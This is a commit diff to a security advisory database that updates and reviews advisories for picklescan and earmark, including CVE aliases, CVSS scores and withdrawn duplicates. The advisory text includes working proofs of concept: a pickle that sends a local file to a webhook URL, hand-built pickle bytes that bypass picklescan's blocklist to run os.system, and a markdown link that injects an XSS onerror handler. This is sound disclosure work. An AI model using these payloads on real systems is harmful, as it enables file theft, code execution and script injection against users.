Skip to content

Commit bfded08

Browse files
1 parent f5dddfb commit bfded08

7 files changed

Lines changed: 188 additions & 98 deletions

File tree

advisories/github-reviewed/2026/01/GHSA-9726-w42j-3qjr/GHSA-9726-w42j-3qjr.json

Lines changed: 17 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,21 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-9726-w42j-3qjr",
4-
"modified": "2026-01-08T17:25:35Z",
4+
"modified": "2026-06-18T14:46:26Z",
55
"published": "2026-01-08T17:25:35Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-53872"
8+
],
79
"summary": "picklescan has Arbitrary file read using `io.FileIO` ",
810
"details": "### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n def __reduce__(self):\n return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n def __reduce__(self):\n return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n pickle.dump(Exfiltrate(), f)\n```\n\n<img width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" />\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.",
911
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
},
1016
{
1117
"type": "CVSS_V4",
12-
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
18+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
1319
}
1420
],
1521
"affected": [
@@ -38,6 +44,10 @@
3844
"type": "WEB",
3945
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"
4046
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53872"
50+
},
4151
{
4252
"type": "WEB",
4353
"url": "https://github.com/mmaitre314/picklescan/pull/55"
@@ -53,6 +63,10 @@
5363
{
5464
"type": "WEB",
5565
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35"
66+
},
67+
{
68+
"type": "WEB",
69+
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization"
5670
}
5771
],
5872
"database_specific": {

advisories/github-reviewed/2026/03/GHSA-vvpj-8cmc-gx39/GHSA-vvpj-8cmc-gx39.json

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vvpj-8cmc-gx39",
4-
"modified": "2026-03-03T20:04:20Z",
4+
"modified": "2026-06-18T14:45:31Z",
55
"published": "2026-03-03T20:04:20Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-3490"
8+
],
79
"summary": "PickleScan's pkgutil.resolve_name has a universal blocklist bypass",
810
"details": "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan's **entire blocklist concept** — every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan <= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") → returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") → RCE\n```\n\npicklescan's opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → **NOT in blocklist** → CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name('os:system') # Returns the actual os.system function\n_var1 = _var0('malicious_command') # Calls os.system('malicious_command')\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan's blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n\n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 55)\n + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\" # STACK_GLOBAL\n + sbu(\"os:system\") + b\"\\x85\" + b\"R\" # REDUCE: resolve_name(\"os:system\")\n + sbu(\"id\") + b\"\\x85\" + b\"R\" # REDUCE: os.system(\"id\")\n + b\".\" # STOP\n)\n\n# picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0 # CLEAN!\n\n# Execute: runs os.system(\"id\") → RCE\npickle.loads(payload)\n```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n\nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan's blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n ```python\n \"pkgutil\": {\"resolve_name\"},\n ```\n\n2. **Also block similar resolution functions:**\n ```python\n \"importlib\": \"*\",\n \"importlib.util\": \"*\",\n ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n - Treating unknown globals as dangerous by default\n - Switching to an allowlist model",
911
"severity": [
@@ -38,9 +40,17 @@
3840
"type": "WEB",
3941
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
4042
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
46+
},
4147
{
4248
"type": "PACKAGE",
4349
"url": "https://github.com/mmaitre314/picklescan"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
4454
}
4555
],
4656
"database_specific": {

advisories/unreviewed/2026/06/GHSA-52mm-h59v-f3c7/GHSA-52mm-h59v-f3c7.json renamed to advisories/github-reviewed/2026/06/GHSA-52mm-h59v-f3c7/GHSA-52mm-h59v-f3c7.json

Lines changed: 31 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-52mm-h59v-f3c7",
4-
"modified": "2026-06-17T18:35:58Z",
4+
"modified": "2026-06-18T14:47:16Z",
55
"published": "2026-06-17T18:35:58Z",
66
"aliases": [
77
"CVE-2026-48591"
88
],
9+
"summary": "earmark: Stored XSS via unescaped HTML attribute values",
910
"details": "Improper Neutralization of Script in Attributes in a Web Page vulnerability in pragdave earmark allows stored cross-site scripting via unescaped HTML attribute values.\n\n'Elixir.Earmark.Transform':_make_att1/2 in lib/earmark/transform.ex splices attribute values verbatim between two literal \" bytes: [\" \", name, \"=\\\"\", value, \"\\\"\"]. Text nodes are routed through the existing escape function which encodes \" as &quot;, but attribute values never visit that path. A markdown link whose URL or title contains a bare \" closes the attribute early and lets the trailing bytes be parsed by the browser as fresh HTML attributes. For example, [click](http://example.com/?a=x\" onerror=\"alert(1)) renders as <a href=\"http://example.com/?a=x\" onerror=\"alert(1)\">click</a>, executing arbitrary JavaScript in the victim's browser.\n\nThe earmark library is no longer maintained and has been retired on Hex. No patched version will be released. All releases from 1.4.1 onward are affected, and users should migrate to a maintained Markdown library such as MDEx.\n\nThis issue affects earmark from 1.4.1 onward.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V4",
13-
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Hex",
21+
"name": "earmark"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.4.1"
29+
},
30+
{
31+
"last_affected": "1.5.0-pre1"
32+
}
33+
]
34+
}
35+
]
1436
}
1537
],
16-
"affected": [],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
@@ -23,18 +44,23 @@
2344
"type": "WEB",
2445
"url": "https://cna.erlef.org/cves/CVE-2026-48591.html"
2546
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/pragdave/earmark"
50+
},
2651
{
2752
"type": "WEB",
2853
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-48591"
2954
}
3055
],
3156
"database_specific": {
3257
"cwe_ids": [
58+
"CWE-79",
3359
"CWE-83"
3460
],
3561
"severity": "MODERATE",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-06-18T14:47:16Z",
3864
"nvd_published_at": "2026-06-17T18:18:04Z"
3965
}
4066
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5v23-73v4-w2fp",
4+
"modified": "2026-06-18T14:46:10Z",
5+
"published": "2026-06-17T18:35:57Z",
6+
"withdrawn": "2026-06-18T14:46:10Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO` ",
9+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9726-w42j-3qjr. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [
21+
{
22+
"package": {
23+
"ecosystem": "PyPI",
24+
"name": "picklescan"
25+
},
26+
"ranges": [
27+
{
28+
"type": "ECOSYSTEM",
29+
"events": [
30+
{
31+
"introduced": "0"
32+
},
33+
{
34+
"fixed": "0.0.35"
35+
}
36+
]
37+
}
38+
]
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53872"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-22"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-06-18T14:46:10Z",
62+
"nvd_published_at": "2026-06-17T17:17:25Z"
63+
}
64+
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-82fg-2r99-h7v6",
4+
"modified": "2026-06-18T14:45:20Z",
5+
"published": "2026-06-17T18:35:57Z",
6+
"withdrawn": "2026-06-18T14:45:20Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: PickleScan's pkgutil.resolve_name has a universal blocklist bypass",
9+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vvpj-8cmc-gx39. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [
21+
{
22+
"package": {
23+
"ecosystem": "PyPI",
24+
"name": "picklescan"
25+
},
26+
"ranges": [
27+
{
28+
"type": "ECOSYSTEM",
29+
"events": [
30+
{
31+
"introduced": "0"
32+
},
33+
{
34+
"fixed": "1.0.4"
35+
}
36+
]
37+
}
38+
]
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-183"
58+
],
59+
"severity": "CRITICAL",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-06-18T14:45:20Z",
62+
"nvd_published_at": "2026-06-17T17:16:50Z"
63+
}
64+
}

advisories/unreviewed/2026/06/GHSA-5v23-73v4-w2fp/GHSA-5v23-73v4-w2fp.json

Lines changed: 0 additions & 44 deletions
This file was deleted.

advisories/unreviewed/2026/06/GHSA-82fg-2r99-h7v6/GHSA-82fg-2r99-h7v6.json

Lines changed: 0 additions & 44 deletions
This file was deleted.

0 commit comments

Comments
 (0)